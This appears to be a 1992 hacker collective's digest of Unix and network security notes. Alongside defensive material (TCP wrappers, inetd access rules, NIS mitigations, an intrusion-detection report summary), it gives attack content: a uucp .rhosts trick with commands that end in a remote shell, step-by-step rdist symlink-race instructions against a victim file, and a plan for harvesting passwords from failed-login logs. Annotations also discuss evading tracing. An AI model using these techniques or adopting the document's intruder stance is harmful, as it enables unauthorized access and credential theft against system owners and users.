TURN command +allows mail to be stolen + decode mail alias - anyone can send mail to decode, write + to any file onwed by daemon, if they can connect to + sendmail daemon, can write to any file owned by any user. + + overflow input buffer +cause the sendmail deamon to lock up + overwrite files +sendmail can be "tricked" into delivering mail +into any file but those own my root. + -oQ (different Q) + fixed in newer versions + mqueue must not be mode 777! + what uid does |program run with? + sendmail -bt -C/usr/spool/mail/user - in old versions, + allows you to see all lines of the file. +setuid bit handling + setuid/setgid bit should be dropped if a file is modified + fix: kernel changes +setuid scripts + there are several problems with setuid scripts. is it + worth writing tests for these? some systems might have + fixed some of the holes - does anyone know how one fixes + these problems in a proactive fashion? +sh + IFS hole (used with vi, anything else?) +su + overwrite stack somehow? +tcp/ip + sequence number prediction makes host spoofing easier + source routing make host spoofing easier + rip allows one to capture traffic more easily + various icmp attacks possible + (I suspect a traceroute'd kernel will allow one to easily + dump packets onto the ethernet) +tftp + allows one to grab random files (eg, /etc/passwd). + fix - should do a chroot + allows puts as well as gets, no chroot + fix - don't run as root, use chroot, no puts, only if boot + server. +utmp + check to see if world writeable (if so, the data can't be + trusted, although some programs are written as though they + trust the data (comsat, rwalld)). +uucp + check if valid uucp accounts are in the /etc/ftpusers. If + the shell is uucico and passwd is valid make sure it is + listed in ftpusers. + check to see that uucp accounts have shell: if left off, + folks can do: +cat >x +myhost myname +^D +uucp x ~uucp/.rhosts +rsh myhost -l uucp sh -i + HDB nostrangers shell escape + HDB changing the owner of set uid/gid files + HDB meta escapes on the X command line + HDB ; breaks on the X line +uudecode + if it is setuid, some versions will create setuid files + +ypbind + accepts ypset from anyone (can create own ypserv and data, + and ypset to it...) +ypserv spoofing + send lots of bogus replies to a request for root's passwd + entry, while doing something that would generate such a + request [I'm pretty sure that this is possible, but + haven't tried it.] +AIX + * password means use root's password? +AIX 2.2.1 + shadow password file (/etc/security/passwd) world + writeable + fix - chmod 600... +386i login + fix - nuke logintool, hack on login with adb, chmod 2750 +ultrix 3.0 login + login -P progname allows one to run random programs as root. + fix - chmod 2750. +xhost: + if access access control is disabled any one can connect to + a X display it is possible and create (forge) and/or + intercept keystrokes. +-Dark Overlord +------------------------------------------------------------------------------ +Comments: +Q's: +Biblio: +CrossRef: +Code/shRef: +============================================================================== + +Date: Thu, 13 Feb 92 10:25:40 -0700 +Subject: rdist.hole + +============================================================================== +Section Name chapter.sec.version 00/00/00 +rdist.hole 06.00.00 02/13/92 +------------------------------------------------------------------------------ +DATA: + In the RDIST program, a subprogram called SERVER.C has a +subroutine called CHOG which issues two faulty calls to SETREUID. + To exploit this, you: +o Create a very large file with garbage in it. +o Make the file SETUID +o Create /temp directory +o RDIST -C filemane hostname:/temp +o Suspend the job that is updating the large file. +o Within /temp, there will be two files created by RDIST... One + by the server, the other by the client. +o REMOVE the file with a filesize greater than zero. +o Replace the REMOVEd file with a symbolic link to the target (victim) + file (hint: use the LN command). +o Unsuspend the process. +o RDIST will now change the target file protection to the same + as the temp file. + The above will work on all Berkeley, SUN, and SCO systems. Life +is a bitch, then you grow old. + -Rosco +------------------------------------------------------------------------------ +Comments: +Q's: +Biblio: +CrossRef: +Code/shRef: +============================================================================== +------------------------------ + +Date: Thu, 13 Feb 92 10:38:18 -0700 +Subject: rfc.authd.draft + +============================================================================== +Section Name chapter.sec.version 00/00/00 +rfc.authd.draft 01.13.00 02/13/92 +------------------------------------------------------------------------------ +DATA: + (This is extracted from the complete draft that should be available + on the INFOHAX fileserver) + The Identity Server announces the user of a particular TCP connection + to the host on the other end of the connection. Given a TCP port + number pair, it returns a character string which identifies the owner + of that connection on the server's system. Suggested uses include + detection of SMTP and NNTP forgeries, additional verification for a + remote login, terminal server usernames, and user-to-user file + transfer. A particularly important application of the Identity Server + in today's Internet is tracing network attackers through mainframes. + This is a connection-based application which runs over TCP. The + server listens for TCP connections on port 113 (decimal). +5. Caveats + The user identifier returned by the Identity Server on a host is only +A> as trustworthy as the host itself. (Needless to say, the association + between a user identifier and a real person is only as secure as the + mechanism by which the host establishes that association.) + Attempts to interpret the user identifier outside the context of the + host will inevitably lead to security violations. Therefore the + client must never use a user identifier without also keeping track of + the IP address whose Identity Server generated the identifier. When + possible it should also keep track of the domain name corresponding + to that IP address. +B> In theory, the Identity Server decreases security by announcing + usernames which, were it not for SMTP, Finger, and several other + protocols, could be kept secret. Administrators of hosts supporting + the Identity Server should be aware that as soon as user shmoe + connects to host X, anyone on host X can find out shmoe's username + simply by guessing the TCP port numbers. +6. Identity Server security + This section provides an informal discussion of the security added by + the Identity Server. It is important to note at the outset that this + server does not in any way remove the need for protocols, such as + Kerberos, which encrypt data. The Identity Server can and should be + used to supplement, never to replace, existing security mechanisms. + The Identity Server completely eliminates username forgeries above + the TCP level. On a host supporting this RFC, a forger, system + cracker, or other criminal cannot hide behind the anonymity of a TCP +C> connection; to forge his username he must forge TCP packets. + (It goes without saying that if a system cracker acquires privileges + and disables the proper functioning of the Identity Server, then the + usernames reported by the server will not be accurate. In that + situation ``username forgery'' does not even make sense, for the + system cracker has complete control over all usernames. As stated in + section 5, the user identifier returned by the Identity Server on a + host is only as trustworthy as the host itself.) + Unfortunately, forging TCP packets is rather easy. Bellovin has + outlined several attacks which compromise IP and TCP [1]. The + Identity Server happens to make some of the attacks much more +D> difficult. For instance, a fake source route will be ignored when the + target makes a second connection to the Identity Server, so a + username cannot be faked with source route attacks. Some attacks are +E> also ineffective against after-the-fact tracing: for example, posing + as another host on the same Ethernet while that host is down can + always be detected (though it is very difficult to trace this attack + back to its source). Furthermore, the Identity Server uses IP + addresses, so it avoids the Domain Name Server's lack of security. + Unlike passwords sent in cleartext (via, e.g., TELNET), the Identity + Server cannot even be spoofed by an attacker who can read every + packet sent across the network. +F> However, ICMP Redirects and other comprehensive routing attacks can + be neither detected nor stopped from anywhere except the target + router. To completely stop forgeries requires not only the Identity + Server but a secure TCP. Kerberos v5 [6] solves these problems + thoroughly and efficiently, although it does not yet fully support + wide-area networks. +G> It is perhaps worthwhile to draw an analogy between the Identity + Server and security in the telephone system. Without the Identity + Server, a phone trace (or Caller-ID, where it is permitted by local + regulations) provides the phone number of the caller. When the phone + number is the number of a large company and the caller was actually + at an extension inside the company, this tracing mechanism is nearly + useless. + The Identity Server provides the extension. Admittedly, the extension + is meaningless when the phone number refers to someone's house (a + microcomputer), or to a company that lets its employees pick their + extensions (an insecure mainframe). But it provides a huge benefit + for tracing within honest companies. If Foo Corp. tells Bar Inc. that + it's been receiving prank calls (forged mail, system cracking) from + one of Bar's phone numbers, Bar can't do anything. But if Bar has + installed the Identity Server, Foo can find out the phone extension + as well, and Bar can track down the renegade employee. + Someone who can invade the security of the phone system itself (i.e., + someone who breaks TCP) will find the Identity Server at most a minor + nuisance. To stop him you'd have to start encrypting your phone lines + (Kerberos). But for most people the Identity Server removes the + anonymity provided by large organizations (mainframes) all of whose + calls are tagged with the same phone number (IP address). It thus + forms a quite effective deterrent. + A common argument against RFC 931 was that its usernames are + meaningless for microcomputers. However, consider the phone analogy. + It doesn't matter that Dr. Shmoe can forge extensions within his own + house to his heart's delight---because anyone who traces his prank + calls will find out that they came from Shmoe's house. Nobody will + care about the faked extension when Dr. Shmoe is arrested. In other + words, the Identity Server neither helps nor hurts the security of + such connections. + Note that if ``Shmoe's house'' is instead a public meeting place with + no physical security and with public phones which let users specify + any extensions they want, it will not be possible to trace calls to + the actual people who happened to be using those phones. In other + words, if a microcomputer or unprotected workstation with no physical + security is available for the public to use, it will not be possible + to trace security violations emanating from that computer. Once again + this is a problem independent of the Identity Server. The Identity + Server is beneficial in that it discriminates between the users of a + multi-user computer. +7. Applications + The most important use of the Identity Server in today's Internet is + to track system crackers across the network. A combination of IP + lookups and Ethernet tracing usually suffices to identify the + physical machine involved in an ongoing attack. However, if that host + has many users and its manager is not available, there is no way to + identify which user is responsible for the attacks. It has thus +H> become popular with system crackers to log into a series of + mainframes, each providing an extra layer of anonymity. The Identity + Server removes this anonymity by announcing the username at each + step. As more and more hosts on the Internet support the Identity + Server, it will become more and more difficult for an attacker to + avoid leaving a trail of usernames. +I> Another natural use of the Identity Server is to detect SMTP and NNTP + forgeries. Patches are available for sendmail [3] and nntpd [5] to + record the sending username. FTP can record the name of the user + performing an "anonymous ftp" [4], rather than depending on the user + to give his name. Many other user-level protocols, such as BSD talk + [2], can also benefit from user identifiers. Note that all these + applications use the Identity Server to supplement, never to replace, + other security mechanisms. + The user identifier provided by the Identity Server can allow more + secure authentication and finer access control for remote login than + some current access control mechanisms, which are based solely on the + incoming IP address and host name. If the identifier is also recorded + in system logs, then network attacks can be traced back to individual + users rather than entire mainframes, as discussed above. It is + important to note that this in no way removes the need for passwords + or other forms of cryptographic authentication. The Identity Server + supplements, never replaces, other security mechanisms. +J> Many sites have terminal servers which allow Internet connections. A + user can connect to the server, then connect to anywhere on the + Internet (or, in some cases, anywhere on the local net). With the + Identity Server, terminal servers can record usernames, then report + those usernames on outgoing connections. For instance, if + joe@host.com connects to terminalserver.edu and then to site.gov, + terminalserver.edu can respond to an Identity Server request with + USERID : OTHER : joe@192.6.6.6(host.com). The login might show up in + site.gov's logs as joe@192.6.6.6(host.com)@terminalserver.edu. This + would prevent abuse of the terminal servers for anonymous system + cracking attempts. Note once again that the Identity Server only + supplements other security mechanisms (though in this case there + typically aren't any other security mechanisms to begin with). + The Identity Server can also be used for user-to-user file transfer, + where one user SENDs a file and another RECEIVEs it without + passwords. The file is queued on the sending host, not the receiving + host. SEND can be implemented as a mail message or other notification + of a TCP port where the file can be picked up. RECEIVE is then a + connection to that TCP port; the receiver uses the Identity Server to + make sure the sender is who he should be, and vice versa. Of course, + the Identity Server is only a minimal security mechanism necessary to + make a SEND-RECEIVE protocol practical. It would be better if all + communications were completely encrypted. +8. References + [1] Bellovin, S. M., "Security Problems in the TCP/IP Protocol + Suite", Computer Communications Review, April 1989. + [2] Bernstein, D. J., "Unofficial patches to talk for RFC 931 + support", February 1991. Available for anonymous ftp from + wuarchive.wustl.edu in usenet/alt.sources/articles/2687.Z. + [3] Bernstein, D. J., "Unofficial patches to sendmail for RFC 931 + support", February 1991. Available for anonymous ftp from + wuarchive.wustl.edu in usenet/alt.sources/articles/2728.Z. + [4] Myers, C., "wuarchive ftpd", September 1991. Available for + anonymous ftp from wuarchive.wustl.edu in + packages/ftpd.wuarchive.shar. + [5] Sayer, N., "Unofficial RFC931 patches to nntp", February 1991. + Available for anonymous ftp from wuarchive.wustl.edu in + usenet/alt.sources/articles/2746.Z. + [6] Ts'o, T., et al., Kerberos v5 beta, Massachusetts Institute of + Technology, June 1991. +------------------------------------------------------------------------------ +Comments: +A> If you have root, you can change usernames, or su to anybody +B> not mutch of a concern +C> Packet forgers are becoming more important, as are ethernet stuffers, we + need to work on this area... +D> source route attacks - need info... +E> posing as down host - need info... +F> ICMP redirects and other comprahensive routing attacks - need info... +G> a usefull way arround it... +H> So this will be like SxS switches, where we'll need to go through a + system that doesn't support the tracing to evade it... +I> SMTP and NNTP forgeries - please write something on this, someone... + Comments: +J> Of cource we NEVER use someone elses account, god forbid we ran a password + cracker... +Q's: +Biblio: +CrossRef: +Code/shRef: +============================================================================== +------------------------------ + +Date: Thu, 13 Feb 92 10:37:14 -0700 +Subject: b-wtmp.prog + +============================================================================== +Section Name chapter.sec.version 00/00/00 +b-wtmp.prog 01.12.00 02/13/92 +------------------------------------------------------------------------------ +DATA: + Feedback on sec 01.01.00, sysadmin.comments and a program being worked on +as a result: + The line:"Some of them will show passwords typed in where usernames should +be, which is why btmp is supposed to be readable only by root" + Ok, so if you can get root, and read this file, you should be able to get +a few passwords out of it. To help this task a program that would automate +some of this would be usefull. This tool would corellate usernames that +logged in arround that time with entries where they made a typo or something. + There are basicly 3 types of entries that are likely to be found: +1) the user types in a legit password, but eithor puts it in the login field, + makes a typo, or is hit with linenoise. in any of these cases you should + have most or all of the password. +2) the user types in the wrong password (check .forward files, lastcomm, etc + to try to figure out where else they have an account.) +3) hackers... won't get anything from these entries... + Anyway, a program should be able to match those entries that are from +users on the system, and identify what category of problem exists... ie: +username is 1 char off: password is probably good +username and password clean: maybe typo, or password on dif system +username doesn't exist: hacker +garbage in password: linenoise, may be worth guessing/brute force +------------------------------------------------------------------------------ +Comments: +Q's: +Biblio: +CrossRef: +Code/shRef: +============================================================================== +------------------------------ + +Date: Thu, 13 Feb 92 10:39:08 -0700 +Subject: son.of.IP + +============================================================================== +Section Name chapter.sec.version 00/00/00 +son.of.IP 01.14.00 02/13/92 +------------------------------------------------------------------------------ +DATA: +>I have used the hosts_access package with some success. What this +>package does is disable connections from a host or set of hosts. So +>you set up all of the machines on your ethernet with the host_access +>package, and set up the files so that any attempt to use a tcp service +>from your gateway is canceled. +The most recent version now also supports access control and monitoring +of UDP and RPC requests. Available from ftp.win.tue.nl (131.155.70.100), +file /pub/security/log_tcp.shar.Z. +----------------------- + TdR> In fact, if your site uses the name daemon, and the intruder can guess + TdR> what just one line in your .rhosts file says, he can get into your + TdR> account very easily. Yeah, yeah, CERT & gang have been told. +Sun actually got this one right, though they did it in the wrong place ;-) +Sun's resolver library won't return a name on a gethostbyaddr() unless +an A record lookup on that name returns that address. This is great for +r-access, but not so hot for stuff like traceroute, since *some* people +(hi NSF) don't have proper A records matching their PTRs. +There's also she host_access package (look for log_tcp with archie) that +has a define, -DPARANOID, which does the same thing (disallows +connections from sites that don't match properly) and can be added on to +any system. It can also block telnet/rlogin/whatever from sites you +don't want to hear from (open terminal servers at someone else's site, +perhaps ;-) +------------------ + TCP/IP Connection Monitoring +It is occasionally needed to perform ethernet monitoring to check for +unauthorized connections (connections from random machines around the +internet to the telnet (or other) ports). You might not want to +restrict all access, but one the other hand you want to keep an eye on +what is going on. The only problem is that programs like tcpdump or +etherfind monitor the ethernet on a packet-by-packet scale instead of +on a connection bases (one line per connection) which makes it +difficult to get an idea of what is happening (since you can easily +lose or forget about packets that get overwhelmed by voluminous +connections. So in order to solve this problem I wrote conmon. +conmon takes the output of tcpdump and prints a given connection only +the first time it is seen so that you can easily see all connections. +Every screenful of connections it clears the current list of +connections so that active connections will be seen on the new screen. +Both tcpdump and conmon are available for anonymous ftp from +ftp.ctr.columbia.edu [128.59.64.40] +------------------- + New network security mailing list: rfc931-users +RFC 931, the Authentication Server, stops the most common type of mail +and news forgery, increases the security of other TCP connections, and +helps security organizations trace Internet attackers. It is supported +by at least three (completely interoperable) UNIX server implementations, +used by several clients including the newly released wuarchive ftpd, and +installed at sites throughout the United States and Europe, ranging from +the Air Force to companies as large as 3M. It is currently the only +freely available wide-area TCP security protocol, yet it can run in +tandem with other security protocols such as Kerberos. +I've created a new mailing list, rfc931-users, for people who want to +use the Authentication Server to solve problems. The mailing list is +rfc931-users@kramden.acf.nyu.edu; to join, send mail to brnstnd@nyu.edu. +------------------ +> Is it possible to fake the source of a packet traveling on the net? +> The obvious secuirty breach I'am thinking of is this: Machine A is remotely +> connected to Machine B. Is it possible to send information; ie commands, +> to Machine B from another machine and make Machine B **think** it came +> from Machine A? Kerebose can provide security when you first connect, but +> after the connection is made...... +Yes, of course. Depending on the Protocol. For TCP/IP you can read a good +summary on Security Problems in +S.M.Bellovin, Security Problems in the TCP/IP Protocol Suite, Computer +Communication Review, Vol 19, No 2, pp 32-48, April 1989. +-------------------- +>Is anyone able to name me an ftp-server which contains this document? +You can find it at: research.att.com under: dist/Secure_Internet_Gateway.ps +Btw.: This article is critizised in: S. Kent, "Comments on 'Security Problems + in the TCP/IP Protocol Suite", ACM Computer Communication Review, Vol 19 + No. 3, July 1989, pp. 10-19. +-------------------- + Re: NIS and password security +There have been a number of queries and some not completely accurate +information posted on this question. I'll try to summarise the problem and +suggested workarounds. None of the workarounds is particularly satisfactory, +The problem is this: ypserv is totally indiscriminate about which machines +it will respond to queries from. Normal NIS maps can be read by anyone +on the Internet who can route packets to your NIS server and back. +"secure" (HA!) NIS maps like passwd.adjunct can only be read if the querier +is using a privileged port (< 1024). This means that anyone can read your +"secure" maps if they can crack root on some machine on the Internet +and can route packets to your machine. +The bug means that many machines on the Internet which use NIS are +vulnerable to having their password files stolen and run through "Crack" or +similar. Arguments about whether distributing Crack and fast U*ix encryption +algorithms was a good idea aside, every wannabe cracker now has a copy +of a reasonably state-of-the-art password guesser. +As I said in my earlier post on this subject, the combination "I'm NIS +and I serve everyone" and easily available password guessers has already +led to breakins at some sites. +This bug was reported to Sun in April 1990, and CERT has also been aware +of it for about the same length of time. +I am told that the bug will be fixed in NIS+ or NIS3.0, or whatever it's +called this week, which I understand will be available in Solaris 2.0. +What to do about it: +1) The Sun Party Line. "Don't run ypserv on your gateway and disable + IP forwarding on the gateway". This is commonly known as a + "firewall" (provided the machine is also in other respects + reasonably secure) and is probably already done by many commercial + users of the Internet. It is not the greatest in convenience, and + most University sysadmins would encounter, lets say, a little user + resistance. Managing the gateway is also a pain. Switching off + `routed' alone, as has been suggested here, is usually insufficient. + However, provided the security of the firewall is not breached, you + are safe from this attack, and many others. Instructions on how + to disable IP forwarding in the kernel are in Sun's Network Admin + manual. +2) The Lamb Party Line. If you communicate to the outside world through a + smart router, filter out packets coming from external connections + addressed to destination ports sunrpc/udp&tcp (port 111) and ports + 600-1023, tcp&udp. This will prevent access to *all* sunrpc services + from outside the router. It will also block access to the Kerberos + protocols (probably also not a bad idea given the info. in Steve + Bellovin's paper about Kerberos security problems), and will + probably block the BSD `r' (rcp,rlogin, etc) commands, but don't + count on it doing so. If you and your router are smart enough, you + may be able to make the `r' commands work. Eg, for rlogin, allow + the packets through iff their source is 513/tcp (this opens up a hole + for a sufficiently clever cracker, though). Blocking port 111 alone + is insufficient but will block the most obvious attacks (including + those I've been told have already actually occurred). +The above two solutions are the only real answers to the problem. There +are some workarounds which make life harder for the potential cracker. +1) Choose a hard-to-guess NIS domain name. The cracker must be able to guess + your NIS domain name in order to talk to ypserv. This is purest security- + through-obscurity. The domain name is normally only handled by + automatic systems, and can be up to 64 characters long. Making the first + part a reasonable handle may help system administration. Something like +my-old-domainname-Ldp.T2d9wCY + is probably reasonable. This precaution is vulnerable to "social + engineering" attacks, ie. the cracker trying to fool a user at your site + to reveal the domain name, since the NIS domain name can be discovered by + any user on your machines. +2) Use passwd+ or npasswd to vet passwords. If you do this, you need to + make all your users put their current password through the new + password program. Using a premptive check on passwords for idiotic + usage is a good idea anyway, independent of whether you use NIS or + not. If you have Suns and you'd rather spend money than install + free software, Sun Shield (TM) also provides this capability, along + with other more or less useful things. Convex provides some similar + capabilities in their passwd(1) program. Some other manufacturers + may also have similar capabilities. The more sites that do this, the more + frustrating it will become for crackers trying to guess passwords. +Note that this problem is common to all versions of NIS or Yellow Pages, +that I know of not just on Suns. It will probably go away in NIS+ aka NIS3.0, +but it seems that this will be a little while coming, and for non-Sun +machines even further off. +Using NIS in combination with Sun's so-called `C2' security will *not* help. +For those not aware of current technology in password guessing programs, +Alan Muffet (?sp) "Crack" program can test > 500 guesses/sec against +a U*ix encrypted password on any modern RISC workstation. This means that +an encrypted password can be checked against the entire /usr/dict/words +in less than a minute. "Crack" has been posted to the network, and you +can assume that most crackers and wannabe's have a copy. +PS: Sorry, I will not respond to requests for more details about how to + exploit this hole. Sun and CERT have full details. If you have a Sun + s/w maintenance contract, the escalation SO# was 484666 and the Sun BugId + was 1036869. Please contact Sun if you feel you need more details. +---------------------- +You might look at in.src a program provided by CIAC to do just what +you ask. You can get it by anon ftp from +irbis.llnl.gov:/ftp/pub/util/insrc.tar.Z +--------------------- + in.gate ftp site +Seems as if the cat is out of the bag (before I was really ready :-), +in.gate is available by anonymous ftp from: +Site: cse.ogi.edu +Directory: pub/in.gate +File:in.gate-1.01.shar +--John Pochmara + pochmara@cse.ogi.edu +P.S. the only different between 1.01 and 1.0 is some + documentation changes. +----------------------- +We also have a modified version of the inetd available as a source patch to +the standard BSD 4.3-Reno inetd source. Unfortunately this cannot support +rpc services, I would however be happy to update it when I can obtain an +inetd with rpc. +The server reads a configuration file containing lines of the form: +ajax.rsre.mod.uk finger/tcp, talk/udp +rsre.mod.uk smtp/tcp +Where the first component contains a host name (in DNS format) or a partial +domain specification (such as rsre.mod.uk). This has the advantage of allowing +services to be permitted on domain/administrative boundaries rather than on +physical ip addresses. +Development is still under way, but the initial implementation has proved +useful and is used to filter most of our incoming services. +The daemon also logs all incoming service requests indicating the source IP +address of denied service requests. +I can send the source patch to any interested parties. +Dave Ferbrache +Defence Research Agency +St Andrews Road +Great Malvern ++44 684 895986 +--------------------- +A version of the tcp-log program which offers the possibility of starting +different services, depending on who calls, or of giving an appropriate +error string while rejecting connections is available for ftp from +ftp.bnr.co.uk as "Exports/tcp-switch.sh" +Otherwise the functionality seems simmilar to in.gated described elsewhere +on this list. +I hope you find it useful. +---------------------- +I showed some of this discussion to my friend Roland McGrath, of FSF +who said, "I did one of those." So I asked him for a copy. He sent +me a shar file prefaced by a few comments which I extract from: +Here is a shar of the source to my inetd. It is a modified version of the +4.4 inetd. I got the original Berkeley sources from ftp.uu.net. Systems +which have a real setsid call should not use setsid.c, which I wrote to +emulate setsid on 4.3BSD. +I am actively maintaining this program, and am interested in bug reports. +However, I'm maintaining only for the purpose of the FSF's use of it, and +am not particularly interested in new features that will not be of use to +us (I'll listen to suggestions, though). +There is no documentation. You can get the BSD inetd manpage from uunet. +My changes to their version are: +* Ported to 4.3BSD on hp300s, HPUX 7.0 (I think) on hp834s, and sun4 + running sunos4.1. +* Added sunrpc support. Easily commented out for systems without sunrpc. + mtXinu's MORE/bsd 4.3+NFS, and SunOS4.1 use different syntaxes for sunrpc + services in /etc/inetd.conf. My version understands both syntaxes. +* Added security support; new configuration file /etc/inetd.sec. + Based on the feature of HPUX's inetd (you can look at their documentation + if you have an HP machine handy, or log in to one of ours to look), but + not quite the same. Basically, /etc/inetd.sec contains lines like: +telnet deny undesireable.machine.com +ftp deny *.undesireable.domain.edu +login allow blessed.machine.org +shell allow 128.52.46 +telnet rejections /bin/echo echo We do not like you. +This says: Allow telnet connections from anywhere except +undesireable.machine.com; allow ftp connections from anywhere except +anything matching *.undesireable.domain.edu (that's a shell glob pattern); +allow rlogin only from blessed.machine.org; allow rsh only from things on +subnet 128.52.46; when undesireable.machine.com tries to make a telnet +connection, echo is run in place of telnetd. +There can be as many allow/deny lines as you like. Each line can have as +many names or nets as you like, separated by whitespace and/or commas. The +restrictions build, so "allow *.mit.edu" followed by "deny 18" will allow +things in mit.edu unless they're on net 18. If the first thing is a deny, +then calling hosts that don't match any allow or deny lines are allowed; if +the first thing is an allow, then unmatched hosts are denied. The +rejections lines give daemon program and args just like lines in +/etc/inetd.conf do. +I didn't include a makefile because the one I use is GNU make-specific and +refers to pathnames on my machine which don't make sense elsewhere. +---------------end of Roland's comments -------- +This was followed by 2000 lines of shar. The shar file is available via +anonymous ftp from ccb.ucsf.edu (128.218.1.13). The file's name is +/pub/inetd.fsf.Z. +------------------------------------------------------------------------------ +Comments: +Q's: +Biblio: +CrossRef: +Code/shRef: +============================================================================== +------------------------------ + +Date: Thu, 13 Feb 92 10:41:08 -0700 +Subject: audit.tools + +============================================================================== +Section Name chapter.sec.version 00/00/00 +audit.tools 1.14.0 02/13/92 +------------------------------------------------------------------------------ +DATA: +Summary of the Trusted Information Systems (TIS) Report on Intrusion +Detection Systems - prepared by Victor H. Marshall +******************************************************************** + INTRUSION DETECTION IN COMPUTERS + January 29, 1991 +1. EXECUTIVE SUMMARY. Computer system security officials +typically have very few, if any, good automated tools to gather +and process auditing information on potential computer system +intruders. It is most challenging to determine just what actions +constitute potential intrusion in a complex mainframe computer +environment. Trusted Information Systems (TIS), Inc. recently +completed a survey to determine what auditing tools are available +and what further research is needed to develop automated systems +that will reliably detect intruders on mainframe computer +systems. Their report #348 was done for the Air Force and +includes details on nine specific software tools for intrusion +detection. +2. BACKGROUND. Computer security officials at the system level +have always had a challenging task when it comes to day-to-day +mainframe auditing. Typically the auditing options/features are +limited by the mainframe operating system and other system +software provided by the hardware vendor. Also, since security +auditing is a logical subset of management auditing, some of the +available auditing options/features may be of little value to +computer security officials. Finally, the relevant auditing +information is probably far too voluminous to process manually +and the availability of automated data reduction/analysis tools +is very limited. Typically, 95% of the audit data is of no +security significance. The trick is determining which 95% to +ignore. +3. SPECIAL TOOLS NEEDED. A partial solution to this problem +could be to procure or develop special automated tools for doing +security auditing. For example, in the IBM mainframe +environment, programs such as RACF, CA-ACF2, and CA-TOP SECRET +are commonly used to control data access and programs such as CA- +EXAMINE are used to supplement standard systems auditing. +Nevertheless, most of these generally-available software systems +do not comprehensively address the problem of intrusion +detection. In fact, intrusion detection is one of the most +challenging (security) auditing functions. There are, in fact, +few existing systems designed to do this, and they must be +tailored to specific operating systems. Also, they do not +generally gather auditing information on activities within +database management systems or application software. Much +research and development needs to be done before intrusion +detection will be generally available. +4. REPORT AVAILABLE. In the meantime, however, it would be wise +to stay abreast of the state-of-the-art in automated auditing +tools for helping security managers detect intruders. TIS, Inc. +recently completed a very comprehensive report on the tools +currently available for intrusion detection and the recommended +directions for future research. TIS report #348 is entitled +"Computer System Intrusion Detection, E002: Final Technical +Report" and is dated September 11, 1990. It was done under +contract to the Rome Air Development Center at Griffiss Air Force +Base in New York. TIS report #348 comprehensively covers the +known intrusion detection techniques. It also reviews the nine +comprehensive intrusion detection tools currently available or +under development. + a. Intrusion Detection Techniques. Although intrusion +detection is normally accomplished using software tools, hardware +tools are potentially more secure because they cannot be easily +altered. In either case, intrusion detection requires that +security-related auditing data be collected, stored, and +analyzed. + (1) Data Collection. Specific events or sequences of +events must be defined as important enough to cause generation of +an audit record. Potentially every event has security +significance, but logging the details of every event would +probably eliminate any hope of processing efficiency (or even +effectiveness). Thus, someone must decide which events to log +and when. Also, as noted earlier, the events logged tend to be +exclusively operating system events. It would be useful to be +able to log some events internal to database management systems +and/or application systems. + (2) Data Storage. Some auditing data can be processed +in real-time, but most of it will go to an audit log for later +review. Security is concerned with the extent to which: + - The storage medium for the audit log is + READ-only and non-volatile, + - The computer system used to store the audit + log is connected/linked to the one from which + the auditing data was gathered, and + - The electronic (or manual) data paths are + protected. + (3) Data Analysis. By far, the most difficult task is +to analyze the auditing data. A comprehensive audit log will +certainly be too voluminous for reasonable human processing. +Thus, the following techniques (in addition to other techniques) +must be used in some ethical/legal combination to reduce the +security-relevant audit data to meaningful conclusions: + - User Profiles + - Anomalies + - Historical Norms + - Trend Analyses + - Probable Scenarios + - Known System Flaws + - Threat Probabilities + - Simulated Intrusions + - Statistical Sampling + - Expert System Rules + - ArtificIal Intelligence + - Hierarchies of Concern (Levels of Security) + - Heuristics + - Neural Networking + (4) User Interface. Finally, the data analysis +process should have a "friendly" user (i.e., security manager) +interface that supports rapid learning, minimal frustration, and +effective results. + b. Nine Tools Reviewed. The nine automated tools reviewed +in some depth in TIS report #348 are: + (1) ComputerWatch Audit Reduction Tool. AT&T Bell +Laboratories developed ComputerWatch in 1989 to summarize their +internal audit files produced by System V/MLS, a version of UNIX. +ComputerWatch could be used on other systems if the appropriate +changes were made to the format/filter module. + (2) Discovery. TRW Information Systems Division +developed Discovery in 1986 to analyze access data from their +credit database housed in a dial-up network of IBM 3090s running +under the MVS operating system. Because it is application- +specific, Discovery could not be easily implemented in other +environments. However, Discovery does process auditing data +produced by IBM's standard System Management Facility (SMF). + (3) Haystack. Haystack was developed by Haystack +Laboratories, Inc. for the Air Force Cryptologic Support Center +in 1988 to analyze data from Unisys 1100/2200 mainframes running +under the OS/1100 operating system. The actual analysis is done +on a personal computer (such as the Zenith Z-248) running under +MS-DOS. Haystack could not be easily implemented in other +environments. + (4) Intrusion-Detection Expert System (IDES). The +IDES model was developed by SRI International in 1985 and has +been implemented on Sun workstations as a research prototype +under a contract with the U.S. Navy (SPAWAR). A version of IDES +for IBM mainframes (using the MVS operating system) will soon be +implemented under a contract with the Federal Bureau of +Investigation (FBI). IDES is designed to be easily implemented +in many different environments. The IDES model has been the +basis for most intrusion detection research to date and it forms +the conceptual basis for Haystack, MIDAS, and W&S. (NOTE: +Haystack was covered above. MIDAS and W&S are covered below.) + (5) Information Security Officer's Assistant (ISOA). +ISOA is an R&D prototype system developed by Planning Research +Corporation (PRC) in 1989 to analyze data from two types of +system - the UNIX SunOS and the IBM AT Xenix. The actual +analysis is done on a Sun 3/260 color workstation. ISOA is table +driven, so it can easily be used to monitor many different +environments. + (6) Multics Intrusion Detection and Alerting System +(MIDAS). MIDAS was developed by the National Security Agency's +(NSA's) National Computer Security Center (NCSC) in 1988 to +analyze data from a Honeywell DPS-8/70 computer running the +Multics operating system (in support of NSA's Dockmaster system). +NCSC intends to further develop MIDAS so it can process audit +data from Sun and Apple systems. + (7) Network Anomaly Detection and Intrusion Reporter +(NADIR). NADIR was developed by the Department of Energy"s Los +Alamos National Laboratory (LANL) in 1989 to analyze data from a +unique LANL Network Security Controller (NSC). There are no +plans to modify NADIR for use in other systems. + (8) Network Security Monitor (NSM). An NSM prototype +was recently developed by the University of California Davis +(UCD) and is currently running on a Sun 3/50. NMS was designed +to analyze data from an Ethernet local area network (LAN) and the +hosts connected to it. NSM is a research system, but UCD hopes +to eventually expand it's scope to include real environments, +real attacks, and perhaps wide area networks. + (9) W&S. W&S is an anomaly detection system that has +been under development at LANL for the NCSC and DOE since 1984. +W&S runs on a UNIX workstation and can analyze data from several +different systems. + c. More Research Needed. The specific TIS recommendations +for further research include the following near-term (1 to 5 +year) and long-term (over 5 year) recommendations. + (1) Near Term Recommendation. The main near-term +recommendation is to develop and commercially market an audit +analysis "tool kit" flexible enough to meet the needs of a wide +variety of security users and of a very dynamic environment. +This would require that, among other things, someone: + - Study the techniques for coordinating data from + multiple levels of system abstraction. + - Explore methods for integrating components of + existing intrusion detection systems into a + single prototype system. + - Study the uses of neural networks and how they + might be employed in audit analysis tools. 